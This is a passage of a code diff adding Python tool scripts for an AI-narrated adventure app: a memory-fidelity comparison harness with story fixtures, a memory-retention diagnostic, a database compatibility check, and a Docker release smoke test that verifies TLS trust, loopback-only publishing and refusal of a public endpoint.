"slight nod, they step out of the tavern. The rain has only intensified, pelting them "
|
||||
"as they walk toward the Old Abbey's shadowed grounds. The crypt, sealed since its "
|
||||
"founding, stands before them, its door ajar, inviting or perhaps foreboding. As "
|
||||
"Aldric approaches, he feels a strange mixture of excitement and fear, his hands "
|
||||
"curling around the silver key's handle. \n\n> He turns the key, and the lock clicks "
|
||||
"open with a satisfying, if ominous, hiss. The door swings inward, revealing a narrow "
|
||||
"passageway. The air inside is musty and cold, the only light filtering in through "
|
||||
"the cracks. \n\nAldric takes a tentative step inside, his breath visible in the air. "
|
||||
"Mara and Edrin follow, their footsteps echoing in the silence. The walls are lined "
|
||||
"with stone and cobwebs, and the smell of damp and decay is overwhelming. They "
|
||||
"advance cautiously, each of them aware of the potential dangers lurking within."),
|
||||
("do", "> I ask Mara what she has heard about the abbey."),
|
||||
),
|
||||
facts=(Fact("sundial in the teapot", (("sundial",), ("teapot",)), actor="Mara",
|
||||
verbs=("slip", "slipped", "hid", "hidden", "put", "placed", "tucked", "stashed")),),
|
||||
forbidden=(
|
||||
r"\b(aldric|edrin)\b\s+(had\s+)?(slipped|hid|placed|put|tucked|stashed)\b[^.]*\bsundial\b",
|
||||
),
|
||||
faithful="Aldric watched Mara slip the amber sundial inside the cracked teapot on the tavern's "
|
||||
"top shelf and promised her to tell no one; then Aldric, Mara and Edrin entered the "
|
||||
"crypt beneath the Old Abbey.",
|
||||
unfaithful=(
|
||||
# The memory attempt 2 actually stored, verbatim.
|
||||
("Aldric sits in the Crooked Lantern with a silver key in his pocket, no-one to give it to. "
|
||||
"Mara observed him quietly, her eyes unreadable. Edrin finished his ale and stood, asking if "
|
||||
"they should see what the crypt beneath the Old Abbey holds. Aldric decided to go, promising "
|
||||
"not to tell anyone. They walked to the Old Abbey's grounds, the crypt door ajar, inviting "
|
||||
"and foreboding. Inside, the air was musty and cold, with the smell of damp and decay. They "
|
||||
"advanced cautiously, each aware of potential dangers. The silver key, the key to the crypt, "
|
||||
"felt heavy in Aldric's hands.", "not retained"),
|
||||
("Aldric slipped the amber sundial inside the cracked teapot on the tavern's top shelf.",
|
||||
"misattributed"),
|
||||
),
|
||||
),
|
||||
)
|
||||
|
||||
FIXTURES_BY_ID = {f.fixture_id: f for f in FIXTURES}
|
||||
|
||||
|
||||
def cast_brief_for(fixture: Fixture) -> str:
|
||||
"""The cast brief `memorybank.cast_brief` would build for this fixture."""
|
||||
from app import memorybank
|
||||
|
||||
lines = [memorybank._cast_line(fixture.protagonist, "", protagonist=True)]
|
||||
lines += [memorybank._cast_line(name, "") for name in fixture.others]
|
||||
return "Cast:\n" + "\n".join(lines)
|
||||
|
||||
|
||||
def user_prompt_for(fixture: Fixture) -> str:
|
||||
"""Exactly the user message the application sends for this block."""
|
||||
from app import memorybank
|
||||
|
||||
return memorybank.memory_user_prompt(cast_brief_for(fixture), memorybank.memory_excerpt(fixture.raw))
|
||||
|
||||
|
||||
# --------------------------------------------------------- the measurement
|
||||
|
||||
async def compare(endpoint: str, model: str, samples: int) -> dict:
|
||||
"""Every fixture, `samples` times, under the shipped prompt and the B2.4 experiment."""
|
||||
from app import memorybank, models
|
||||
|
||||
settings = models.Settings(endpoint_url=endpoint, model=model, summary_model="",
|
||||
api_mode=models.Settings.__table__.c.api_mode.default.arg,
|
||||
model_timeout_seconds=300)
|
||||
provider = memorybank.summary_provider(settings)
|
||||
arms = {"shipped": memorybank.MEMORY_SYSTEM_PROMPT, "b2.4-experiment": B24_EXPERIMENT_PROMPT}
|
||||
out: dict = {"endpoint_model": model, "samples": samples, "fixtures": {}}
|
||||
for fixture in FIXTURES:
|
||||
user = user_prompt_for(fixture)
|
||||
row: dict = {"requirement": fixture.requirement, "genre": fixture.genre, "arms": {}}
|
||||
for arm, system in arms.items():
|
||||
runs = []
|
||||
for _ in range(samples):
|
||||
text = (await provider.complete(system, user) or "").strip()
|
||||
runs.append({"memory": text, **evaluate(fixture, text)})
|
||||
summary = {
|
||||
"passed": sum(r["passed"] for r in runs),
|
||||
"retained": sum(r["retained"] for r in runs),
|
||||
"misattributed": sum(bool(r["misattributed"]) for r in runs),
|
||||
"invented": sum(bool(r["inventions"]) for r in runs),
|
||||
"memory_prefix": sum(r["memory_prefix"] for r in runs),
|
||||
"second_person": sum(r["second_person"] for r in runs),
|
||||
"words_median": sorted(r["words"] for r in runs)[len(runs) // 2],
|
||||
"words_max": max(r["words"] for r in runs),
|
||||
"over_target": sum(r["over_target"] for r in runs),
|
||||
}
|
||||
row["arms"][arm] = {"runs": runs, **summary}
|
||||
print(f"{fixture.fixture_id:28} {arm:16} "
|
||||
+ " ".join(f"{k} {v}" for k, v in summary.items()), flush=True)
|
||||
out["fixtures"][fixture.fixture_id] = row
|
||||
return out
|
||||
|
||||
|
||||
def main() -> int:
|
||||
import argparse
|
||||
import asyncio
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
parser = argparse.ArgumentParser(description=__doc__.split("\n")[0])
|
||||
parser.add_argument("--endpoint", required=True)
|
||||
parser.add_argument("--model", required=True)
|
||||
parser.add_argument("--samples", type=int, default=5)
|
||||
parser.add_argument("--out", required=True)
|
||||
args = parser.parse_args()
|
||||
|
||||
handle = tempfile.NamedTemporaryFile(suffix=".db", delete=False)
|
||||
handle.close()
|
||||
os.environ["AIDND_DB_PATH"] = handle.name # nothing is written; never the real database
|
||||
os.environ.pop("AIDND_DATABASE_URL", None)
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
|
||||
try:
|
||||
result = asyncio.run(compare(args.endpoint, args.model, args.samples))
|
||||
finally:
|
||||
Path(handle.name).unlink(missing_ok=True)
|
||||
out = Path(args.out)
|
||||
out.mkdir(parents=True, exist_ok=True)
|
||||
(out / "fidelity.json").write_text(json.dumps(result, indent=2))
|
||||
print(f"written to {out / 'fidelity.json'}")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -0,0 +1,125 @@
|
||||
"""v1.1 WP-B.1: run the deterministic memory-retention scenarios, or diagnose a real campaign.
|
||||
|
||||
# the deterministic scenarios, against an isolated database in --out
|
||||
.venv/bin/python -m tools.v11_b1_memory scenarios --out "$HOME/v11-evidence/b1/<label>"
|
||||
|
||||
# the four stages for a finished real campaign (reads its database; embeds
|
||||
# the recall query with the campaign's own configured embedding model)
|
||||
AIDND_TEST_ENDPOINT=... AIDND_TEST_EMBED_MODEL=nomic-embed-text:latest \\
|
||||
.venv/bin/python -m tools.v11_b1_memory diagnose --db <campaign.db> \\
|
||||
--plant-depth 3 --out "$HOME/v11-evidence/b1/<label>"
|
||||
|
||||
Run from `backend/`. Nothing here changes memory behaviour; see
|
||||
`tools/memory_diagnostic.py` for what is measured and what the stubs model.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import shutil
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description=__doc__.split("\n")[0])
|
||||
sub = parser.add_subparsers(dest="command", required=True)
|
||||
scen = sub.add_parser("scenarios")
|
||||
scen.add_argument("--out", required=True)
|
||||
scen.add_argument("--only", action="append", default=[])
|
||||
diag = sub.add_parser("diagnose")
|
||||
diag.add_argument("--db", required=True)
|
||||
diag.add_argument("--plant-depth", type=int, required=True)
|
||||
diag.add_argument("--out", required=True)
|
||||
args = parser.parse_args()
|
||||
|
||||
out = Path(args.out)
|
||||
out.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
if args.command == "scenarios":
|
||||
db_path = out / "scenarios.db"
|
||||
if db_path.exists():
|
||||
db_path.unlink()
|
||||
os.environ["AIDND_DB_PATH"] = str(db_path)
|
||||
else:
|
||||
# A copy, so diagnosis never writes to the evidence database.
|
||||
copy = out / "diagnosed-copy.db"
|
||||
shutil.copy2(args.db, copy)
|
||||
os.environ["AIDND_DB_PATH"] = str(copy)
|
||||
os.environ.pop("AIDND_DATABASE_URL", None)
|
||||
os.environ.pop("DATABASE_URL", None)
|
||||
|
||||
from tools import memory_diagnostic as md # after the database is chosen
|
||||
|
||||
if args.command == "scenarios":
|
||||
names = args.only or list(md.SCENARIOS)
|
||||
summary = {}
|
||||
for name in names:
|
||||
result = md.run_scenario(md.SCENARIOS[name])
|
||||
(out / f"{name}.json").write_text(json.dumps(result, indent=2, default=str))
|
||||
d = result.get("diagnosis") or {}
|
||||
summary[name] = {
|
||||
"verdict": d.get("verdict"),
|
||||
"isolation_ok": (result.get("isolation") or {}).get("ok"),
|
||||
"plant_depth": result.get("plant_depth"),
|
||||
"recall_depth": result.get("recall_depth"),
|
||||
"f_evicted_at_turn": (result.get("eviction") or {}).get("f_evicted_at_turn"),
|
||||
}
|
||||
print(f"{name:26} verdict={d.get('verdict')!s:26} "
|
||||
f"isolation_ok={summary[name]['isolation_ok']} "
|
||||
f"plant={result.get('plant_depth')} recall={result.get('recall_depth')}")
|
||||
(out / "summary.json").write_text(json.dumps(summary, indent=2))
|
||||
return 0
|
||||
|
||||
import asyncio
|
||||
|
||||
from sqlalchemy.orm import undefer
|
||||
|
||||
from app import memorybank, models
|
||||
from app.database import SessionLocal
|
||||
|
||||
endpoint = os.environ.get("AIDND_TEST_ENDPOINT", "")
|
||||
embed_model = os.environ.get("AIDND_TEST_EMBED_MODEL", "")
|
||||
with SessionLocal() as db:
|
||||
adventure = db.query(models.Adventure).order_by(models.Adventure.id).first()
|
||||
settings = db.query(models.Settings).filter_by(user_id=adventure.user_id).first()
|
||||
if endpoint:
|
||||
settings.endpoint_url = endpoint
|
||||
if embed_model:
|
||||
settings.embedding_model = embed_model
|
||||
recall_action = (db.query(models.Action)
|
||||
.filter(models.Action.adventure_id == adventure.id,
|
||||
models.Action.type == "ai")
|
||||
.options(undefer(models.Action.context_snapshot))
|
||||
.order_by(models.Action.id.desc()).first())
|
||||
embed = memorybank.embedding_provider(settings).embed
|
||||
iso = md.isolation(db, adventure, md.FACT_F, args.plant_depth,
|
||||
recall_snapshot=recall_action.context_snapshot,
|
||||
recall_depth=recall_action.depth)
|
||||
diagnosis = asyncio.run(md.diagnose(db, adventure, settings, md.FACT_F, args.plant_depth,
|
||||
recall_action=recall_action, embed=embed))
|
||||
variants = {}
|
||||
memory_id = diagnosis["created"]["memory_id"]
|
||||
if memory_id is not None and not diagnosis.get("retained", {}).get("forgotten"):
|
||||
base = md.production_query(adventure, recall_action.id)
|
||||
for label, query in (("recall_turn", base),
|
||||
("paraphrase", md.variant_query(base, md.PARAPHRASE_QUERY)),
|
||||
("unrelated", md.variant_query(base, md.UNRELATED_QUERY))):
|
||||
ranking = asyncio.run(md.rank_bank(db, adventure, settings, query, embed))
|
||||
row = next((r for r in ranking["scored"] if r["memory_id"] == memory_id), None)
|
||||
variants[label] = {"rank": row and row["rank"], "of": len(ranking["scored"]),
|
||||
"similarity": row and row["similarity"],
|
||||
"lexical_score": row and row["lexical_score"],
|
||||
"final_score": row and row["final_score"],
|
||||
"selected": bool(row and row["selected"])}
|
||||
db.rollback()
|
||||
report = {"isolation": iso, "diagnosis": diagnosis, "ranking_variants": variants}
|
||||
(out / "diagnosis.json").write_text(json.dumps(report, indent=2, default=str))
|
||||
print(json.dumps({"isolation_ok": iso["ok"], "verdict": diagnosis["verdict"]}, indent=2))
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,187 @@
|
||||
"""v1.1: does a real v1.0.0 database open unchanged?
|
||||
|
||||
# the same database, opened by each tree, snapshotted read-only
|
||||
.venv/bin/python -m tools.v11_compat_check --db <v1 campaign.db> \\
|
||||
--tree <v1.0.0 worktree>/backend --label v100 --out "$HOME/v11-evidence/compat"
|
||||
.venv/bin/python -m tools.v11_compat_check --db <v1 campaign.db> \\
|
||||
--label v11 --exercise --out "$HOME/v11-evidence/compat"
|
||||
|
||||
Run from `backend/`. The source database is never opened. It is copied into
|
||||
`--out` first, and the copy is what the application opens.
|
||||
|
||||
A read-only snapshot is taken through the API, the same way a reader sees the
|
||||
campaign:
|
||||
|
||||
- the export bundle, which carries the whole tree, the head, the Save Points,
|
||||
state, events, summaries, memories and knowledge, and has no timestamp of its
|
||||
own;
|
||||
- the narrative state and its events;
|
||||
- the Save Points, the imported knowledge, the memories, the derived status and
|
||||
the settings;
|
||||
- the database schema and `PRAGMA user_version`, before and after the
|
||||
application opened it.
|
||||
|
||||
Two snapshots of the same database from two trees are then compared. Identical
|
||||
means v1.1 read it exactly as v1.0.0 did, and a matching schema and version mean
|
||||
nothing migrated.
|
||||
|
||||
`--exercise` then uses the v1.1 copy: undo, redo, a Save Point restore, a
|
||||
context dry run (knowledge retrieval), an export, and an import of that export.
|
||||
It first points the copy's endpoint at a loopback port that refuses, so nothing
|
||||
here reaches an inference server.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import shutil
|
||||
import sqlite3
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
def _schema(path: Path) -> dict:
|
||||
connection = sqlite3.connect(f"file:{path}?mode=ro", uri=True)
|
||||
try:
|
||||
version = connection.execute("PRAGMA user_version").fetchone()[0]
|
||||
rows = connection.execute(
|
||||
"SELECT type, name, sql FROM sqlite_master WHERE name NOT LIKE 'sqlite_%' "
|
||||
"ORDER BY type, name").fetchall()
|
||||
finally:
|
||||
connection.close()
|
||||
return {"user_version": version, "objects": [list(r) for r in rows]}
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description=__doc__.split("\n")[0])
|
||||
parser.add_argument("--db", required=True)
|
||||
parser.add_argument("--tree", default="", help="a backend/ directory to import the app from")
|
||||
parser.add_argument("--label", required=True)
|
||||
parser.add_argument("--exercise", action="store_true")
|
||||
parser.add_argument("--out", required=True)
|
||||
args = parser.parse_args()
|
||||
|
||||
out = Path(args.out)
|
||||
out.mkdir(parents=True, exist_ok=True)
|
||||
copy = out / f"{args.label}.db"
|
||||
if copy.exists():
|
||||
print(f"{copy} exists; choose a new --label or --out")
|
||||
return 2
|
||||
shutil.copy2(args.db, copy)
|
||||
schema_before = _schema(copy)
|
||||
|
||||
if args.tree:
|
||||
sys.path.insert(0, str(Path(args.tree).resolve()))
|
||||
os.environ["AIDND_DB_PATH"] = str(copy)
|
||||
os.environ.pop("AIDND_DATABASE_URL", None)
|
||||
os.environ.pop("DATABASE_URL", None)
|
||||
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from app import auth, limits, models
|
||||
from app.database import SessionLocal, get_db
|
||||
from app.main import app
|
||||
|
||||
print(f"app imported from {Path(sys.modules['app'].__file__).parent}")
|
||||
limits.check_row_cap = lambda *a, **k: None
|
||||
with SessionLocal() as db:
|
||||
owner = db.query(models.Adventure.user_id).order_by(models.Adventure.id).first()
|
||||
user_id = owner[0] if owner else db.query(models.User.id).first()[0]
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
|
||||
def call(client, method, url, body=None, expect=200):
|
||||
response = client.request(method, f"/api{url}", json=body)
|
||||
if response.status_code != expect:
|
||||
raise SystemExit(f"{method} {url}: HTTP {response.status_code} {response.text[:300]}")
|
||||
return response.json() if response.content else None
|
||||
|
||||
report: dict = {"label": args.label, "schema_before": schema_before}
|
||||
with TestClient(app) as client:
|
||||
with SessionLocal() as db:
|
||||
adventure_ids = [a for (a,) in db.query(models.Adventure.id)
|
||||
.filter(models.Adventure.user_id == user_id)
|
||||
.order_by(models.Adventure.id)]
|
||||
snapshot = {"settings": call(client, "GET", "/settings"), "adventures": {}}
|
||||
for adv in adventure_ids:
|
||||
snapshot["adventures"][str(adv)] = {
|
||||
"export": call(client, "GET", f"/adventures/{adv}/export"),
|
||||
"state": call(client, "GET", f"/adventures/{adv}/state"),
|
||||
"state_events": call(client, "GET", f"/adventures/{adv}/state/events"),
|
||||
"checkpoints": call(client, "GET", f"/adventures/{adv}/checkpoints"),
|
||||
"knowledge": call(client, "GET", f"/adventures/{adv}/knowledge"),
|
||||
"memories": call(client, "GET", f"/adventures/{adv}/memories"),
|
||||
"derived": call(client, "GET", f"/adventures/{adv}/derived"),
|
||||
"newest_actions": call(client, "GET", f"/adventures/{adv}/actions?limit=5"),
|
||||
}
|
||||
report["snapshot"] = snapshot
|
||||
|
||||
if args.exercise and adventure_ids:
|
||||
adv = adventure_ids[0]
|
||||
ex: dict = {}
|
||||
call(client, "PUT", "/settings", {"endpoint_url": "http://127.0.0.1:9/v1",
|
||||
"embedding_model": ""})
|
||||
before = call(client, "GET", f"/adventures/{adv}/actions?limit=1")
|
||||
ex["before"] = {k: before[k] for k in ("total", "can_undo", "can_redo")}
|
||||
undone = call(client, "POST", f"/adventures/{adv}/undo")
|
||||
ex["after_undo"] = {k: undone[k] for k in ("total", "can_undo", "can_redo")}
|
||||
redone = call(client, "POST", f"/adventures/{adv}/redo")
|
||||
ex["after_redo"] = {k: redone[k] for k in ("total", "can_undo", "can_redo")}
|
||||
points = call(client, "GET", f"/adventures/{adv}/checkpoints")
|
||||
if points:
|
||||
point = points[0]
|
||||
restored = call(client, "POST",
|
||||
f"/adventures/{adv}/checkpoints/{point['id']}/restore")
|
||||
page = call(client, "GET", f"/adventures/{adv}/actions?limit=1")
|
||||
ex["restore"] = {"save_point": point["name"], "total": page["total"],
|
||||
"can_redo": page["can_redo"],
|
||||
"response_keys": sorted(restored or {})}
|
||||
context = client.get(f"/api/adventures/{adv}/context")
|
||||
body = context.json()
|
||||
ex["context"] = {
|
||||
"status": context.status_code,
|
||||
"knowledge_used": len(((body.get("knowledge") or {}).get("used")) or []),
|
||||
"canon_section": any(s["label"] == "campaign_canon"
|
||||
for s in body.get("sections") or []),
|
||||
"state_section": any(s["label"] == "narrative_state"
|
||||
for s in body.get("sections") or []),
|
||||
"summary": body.get("summary"),
|
||||
"tokens": body.get("tokens"),
|
||||
"window": body.get("window"),
|
||||
}
|
||||
bundle = call(client, "GET", f"/adventures/{adv}/export")
|
||||
imported = call(client, "POST", "/adventures/import", bundle, expect=201)
|
||||
new_id = imported["id"]
|
||||
reimport = call(client, "GET", f"/adventures/{new_id}/export")
|
||||
ex["import"] = {
|
||||
"new_id": new_id,
|
||||
"actions_in_bundle": len(bundle.get("actions") or []),
|
||||
"actions_after_import": len(reimport.get("actions") or []),
|
||||
"head_same": (bundle.get("headBranch") is not None
|
||||
and bundle.get("headDepth") == reimport.get("headDepth")),
|
||||
"checkpoints": [len(bundle.get("checkpoints") or []),
|
||||
len(reimport.get("checkpoints") or [])],
|
||||
"memories": [len(bundle.get("memories") or []),
|
||||
len(reimport.get("memories") or [])],
|
||||
"narrative_state_same": bundle.get("narrativeState") == reimport.get("narrativeState"),
|
||||
}
|
||||
report["exercise"] = ex
|
||||
|
||||
app.dependency_overrides.clear()
|
||||
report["schema_after"] = _schema(copy)
|
||||
(out / f"{args.label}.json").write_text(json.dumps(report, indent=2, sort_keys=True, default=str))
|
||||
same_schema = report["schema_before"] == report["schema_after"]
|
||||
print(f"schema unchanged by opening: {same_schema} "
|
||||
f"(user_version {report['schema_before']['user_version']} -> "
|
||||
f"{report['schema_after']['user_version']})")
|
||||
if "exercise" in report:
|
||||
print(json.dumps(report["exercise"], indent=2, default=str)[:3000])
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,307 @@
|
||||
"""v1.1 release smoke test: the shipped image, as a reader would meet it.
|
||||
|
||||
python -m tools.v11_release_smoke --image <tag> --out <dir under $HOME>
|
||||
|
||||
Run from `backend/`. Reads `AIDND_TEST_ENDPOINT` (an **HTTPS** Ollama on the
|
||||
trusted LAN) and `AIDND_TEST_MODEL`. `--ca` names the private CA to install
|
||||
inside the container, defaulting to this machine's own.
|
||||
|
||||
Supplemental release evidence, not a replacement for the gates: it asks whether
|
||||
the artefact that ships actually runs, reaches its approved narrator, refuses an
|
||||
unapproved one, and keeps a campaign across a container restart.
|
||||
|
||||
## The two things this is careful about
|
||||
|
||||
**The CA is installed, not bypassed.** `app/tlstrust.ssl_context()` is
|
||||
`ssl.create_default_context()` — the platform's own store — unioned with
|
||||
certifi's. So the private CA is mounted into
|
||||
`/usr/local/share/ca-certificates/` and registered with
|
||||
`update-ca-certificates`, and verification is then ordinary. Nothing sets
|
||||
`verify=False`, and a check inside the container proves the handshake succeeds
|
||||
through that store.
|
||||
|
||||
**Loopback means the published port.** The process inside the container listens
|
||||
on `0.0.0.0` because that is the only address a published port can reach
|
||||
(`docker-compose.yml` says so). What must be loopback-only is the *publish*, so
|
||||
the container is started with `-p 127.0.0.1:<port>:8000` and the check is that
|
||||
the host's LAN address refuses the same port.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
|
||||
|
||||
from tools.m11_webdriver import Browser, free_port, require_under_home # noqa: E402
|
||||
|
||||
ENDPOINT = os.environ.get("AIDND_TEST_ENDPOINT", "")
|
||||
MODEL = os.environ.get("AIDND_TEST_MODEL", "")
|
||||
NAME = "v11-release-smoke"
|
||||
VOLUME = "v11-release-smoke-data"
|
||||
#: An endpoint the policy must refuse whatever else is true: a public host.
|
||||
PUBLIC_ENDPOINT = "https://api.openai.com/v1"
|
||||
|
||||
|
||||
class Checks:
|
||||
def __init__(self) -> None:
|
||||
self.rows: list[dict] = []
|
||||
|
||||
def record(self, name: str, ok: bool, detail: str = "") -> bool:
|
||||
self.rows.append({"check": name, "result": "PASS" if ok else "FAIL",
|
||||
"detail": detail})
|
||||
print(f" {'ok ' if ok else 'FAIL'} {name}" + (f" — {detail}" if detail else ""),
|
||||
flush=True)
|
||||
return ok
|
||||
|
||||
@property
|
||||
def failed(self) -> list[dict]:
|
||||
return [r for r in self.rows if r["result"] == "FAIL"]
|
||||
|
||||
|
||||
def run(*args: str, **kwargs) -> subprocess.CompletedProcess:
|
||||
return subprocess.run(args, capture_output=True, text=True, **kwargs)
|
||||
|
||||
|
||||
def api(base: str, method: str, path: str, payload=None, timeout=900):
|
||||
data = json.dumps(payload).encode() if payload is not None else None
|
||||
request = urllib.request.Request(
|
||||
f"{base}/api{path}", data=data, method=method,
|
||||
headers={"Content-Type": "application/json"} if data else {})
|
||||
with urllib.request.urlopen(request, timeout=timeout) as response:
|
||||
body = response.read().decode()
|
||||
return json.loads(body) if body else None
|
||||
|
||||
|
||||
def stream_turn(base: str, adv: int, text: str) -> list[dict]:
|
||||
request = urllib.request.Request(
|
||||
f"{base}/api/adventures/{adv}/actions",
|
||||
data=json.dumps({"type": "do", "text": text}).encode(),
|
||||
method="POST", headers={"Content-Type": "application/json"})
|
||||
events: list[dict] = []
|
||||
with urllib.request.urlopen(request, timeout=900) as response:
|
||||
for raw in response:
|
||||
line = raw.decode(errors="replace").strip()
|
||||
if line.startswith("data:"):
|
||||
try:
|
||||
events.append(json.loads(line[5:].strip()))
|
||||
except json.JSONDecodeError:
|
||||
pass
|
||||
return events
|
||||
|
||||
|
||||
def lan_address() -> str | None:
|
||||
"""This machine's own LAN address, for the loopback-only check."""
|
||||
probe = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
probe.connect(("192.0.2.1", 9)) # TEST-NET-1: routed nowhere, sends nothing
|
||||
return probe.getsockname()[0]
|
||||
except OSError:
|
||||
return None
|
||||
finally:
|
||||
probe.close()
|
||||
|
||||
|
||||
def wait_ready(base: str, *, timeout: float = 180) -> bool:
|
||||
deadline = time.monotonic() + timeout
|
||||
while time.monotonic() < deadline:
|
||||
try:
|
||||
urllib.request.urlopen(f"{base}/api/settings", timeout=3)
|
||||
return True
|
||||
except Exception:
|
||||
time.sleep(1)
|
||||
return False
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument("--image", required=True)
|
||||
parser.add_argument("--out", required=True)
|
||||
parser.add_argument("--ca", default="/usr/local/share/ca-certificates/draco.crt")
|
||||
parser.add_argument(
|
||||
"--add-host", default="", metavar="NAME:ADDRESS",
|
||||
help=("resolve the narrator's hostname inside the container. A `.local` "
|
||||
"name is mDNS, and a container has no mDNS resolver, so the "
|
||||
"endpoint policy refuses an address it cannot classify and "
|
||||
"`PUT /api/settings` answers 400. Mapping the name — rather than "
|
||||
"using the address — keeps the hostname the certificate is issued "
|
||||
"for, which is the thing this test verifies."))
|
||||
args = parser.parse_args()
|
||||
|
||||
if not (ENDPOINT and MODEL):
|
||||
print("set AIDND_TEST_ENDPOINT (https://…) and AIDND_TEST_MODEL")
|
||||
return 2
|
||||
if not ENDPOINT.startswith("https://"):
|
||||
print("the smoke test needs an HTTPS endpoint: that is what it verifies")
|
||||
return 2
|
||||
ca = Path(args.ca)
|
||||
if not ca.exists():
|
||||
print(f"no CA at {ca}")
|
||||
return 2
|
||||
|
||||
out = require_under_home(Path(args.out).expanduser())
|
||||
out.mkdir(parents=True, exist_ok=True)
|
||||
checks = Checks()
|
||||
port = free_port()
|
||||
base = f"http://127.0.0.1:{port}"
|
||||
started = datetime.now()
|
||||
|
||||
run("docker", "rm", "-f", NAME)
|
||||
run("docker", "volume", "rm", VOLUME)
|
||||
run("docker", "volume", "create", VOLUME)
|
||||
|
||||
print(f"starting {args.image} on 127.0.0.1:{port} with a fresh volume …")
|
||||
start = run(
|
||||
"docker", "run", "-d", "--name", NAME,
|
||||
"-p", f"127.0.0.1:{port}:8000",
|
||||
"-v", f"{VOLUME}:/data",
|
||||
"-v", f"{ca}:/usr/local/share/ca-certificates/{ca.name}:ro",
|
||||
*(("--add-host", args.add_host) if args.add_host else ()),
|
||||
args.image,
|
||||
"sh", "-c",
|
||||
"update-ca-certificates >/dev/null 2>&1; "
|
||||
"exec uvicorn app.main:app --host 0.0.0.0 --port 8000",
|
||||
)
|
||||
if start.returncode != 0:
|
||||
print(start.stderr[:400])
|
||||
return 1
|
||||
container = start.stdout.strip()[:12]
|
||||
|
||||
try:
|
||||
checks.record("the container starts", True, container)
|
||||
ready = wait_ready(base)
|
||||
if not checks.record("the application answers on loopback", ready, base):
|
||||
logs = run("docker", "logs", NAME)
|
||||
(out / "container.log").write_text(logs.stdout + logs.stderr)
|
||||
return 1
|
||||
|
||||
published = run("docker", "port", NAME).stdout.strip()
|
||||
checks.record("the port is published on loopback only",
|
||||
"127.0.0.1" in published and "0.0.0.0" not in published, published)
|
||||
|
||||
lan = lan_address()
|
||||
if lan:
|
||||
try:
|
||||
urllib.request.urlopen(f"http://{lan}:{port}/api/settings", timeout=4)
|
||||
reachable = True
|
||||
except Exception:
|
||||
reachable = False
|
||||
checks.record("the LAN address does not serve the application", not reachable,
|
||||
f"port {port} on this machine's LAN address")
|
||||
|
||||
page = urllib.request.urlopen(base + "/", timeout=30)
|
||||
html = page.read().decode(errors="replace")
|
||||
checks.record("the first page loads", page.status == 200 and "<div id=\"root\"" in html,
|
||||
f"HTTP {page.status}, {len(html)} bytes")
|
||||
remote = [chunk for chunk in html.split('"')
|
||||
if chunk.startswith("http://") or chunk.startswith("https://")]
|
||||
checks.record("the shell references no remote origin", not remote, str(remote[:3]))
|
||||
csp = page.headers.get("content-security-policy") or ""
|
||||
checks.record("a CSP is served", bool(csp), csp[:80])
|
||||
|
||||
# The approved endpoint, verified through the private CA *inside* the
|
||||
# container, with the application's own trust context and no bypass.
|
||||
probe = run("docker", "exec", NAME, "python", "-c",
|
||||
"import json,urllib.request,ssl,sys;"
|
||||
"sys.path.insert(0,'/app/backend');"
|
||||
"from app.tlstrust import ssl_context;"
|
||||
f"r=urllib.request.urlopen('{ENDPOINT}/models',"
|
||||
" timeout=20, context=ssl_context());"
|
||||
"print(r.status)")
|
||||
checks.record("the approved HTTPS narrator verifies through the private CA",
|
||||
probe.returncode == 0 and "200" in probe.stdout,
|
||||
(probe.stdout + probe.stderr).strip()[:160])
|
||||
|
||||
api(base, "PUT", "/settings", {"endpoint_url": ENDPOINT, "model": MODEL,
|
||||
"max_output_tokens": 300,
|
||||
"model_timeout_seconds": 600})
|
||||
try:
|
||||
api(base, "PUT", "/settings", {"endpoint_url": PUBLIC_ENDPOINT, "model": MODEL})
|
||||
refused = False
|
||||
detail = "accepted"
|
||||
except urllib.error.HTTPError as exc:
|
||||
refused = 400 <= exc.code < 500
|
||||
detail = f"HTTP {exc.code}"
|
||||
checks.record("a public endpoint is refused", refused, detail)
|
||||
# Put the approved one back, whatever happened above.
|
||||
api(base, "PUT", "/settings", {"endpoint_url": ENDPOINT, "model": MODEL,
|
||||
"max_output_tokens": 300,
|
||||
"model_timeout_seconds": 600})
|
||||
|
||||
created = api(base, "POST", "/adventures", {
|
||||
"title": "Release Smoke",
|
||||
"opening": "Rain over Westhaven, and the abbey bell tolling.",
|
||||
"persona_name": "Aldric"})
|
||||
adv = created["id"]
|
||||
checks.record("a campaign is created", bool(adv), f"id {adv}")
|
||||
|
||||
events = stream_turn(base, adv, "I ask Mara what the bell means.")
|
||||
errors = [e for e in events if e.get("type") == "error"]
|
||||
page_after = api(base, "GET", f"/adventures/{adv}/actions?limit=50") or {}
|
||||
checks.record("one real narrator turn is accepted",
|
||||
not errors and (page_after.get("total") or 0) >= 2,
|
||||
